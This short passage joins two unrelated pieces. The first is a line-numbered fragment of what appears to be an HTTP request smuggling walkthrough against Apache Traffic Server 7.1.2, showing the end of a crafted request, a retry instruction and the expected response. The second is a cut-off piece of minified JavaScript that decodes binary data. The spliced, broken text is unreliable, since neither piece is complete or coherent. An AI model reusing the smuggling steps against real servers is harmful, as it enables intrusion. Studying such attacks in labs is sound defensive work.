lnmp.com 109 | attack: 1 110 | foo: 111 | ``` 112 | 113 | You will get response like this. **If not, you should try one more time.** 114 | 115 | ```http 116 | HTTP/1.1 200 OK 117 | Server: ATS/7.1.2 118 | Date: Wed, 29 Apr 2020 10:50:00 GMT 119 | Content-Type: text/html; charset=UTF-8 120 | Age: 0 121 | Connection: keep-alive 122 | Content-Length: 385 123 | 124 | This is Nginx
0;){for(var s=new Uint8Array(o),a=0===s[0],c="",p=1;255!==s[p];p++){if(c.length>310)return r(w,0,1);c+=s[p]}o=f(o,2+c.length),c=parseInt(c);var u=f(o,0,c);if(a)try{u=String.fromCharCode.apply(null,new Uint8Array(u))}catch(h){var l=new Uint8Array(u);u="";for(var p=0;p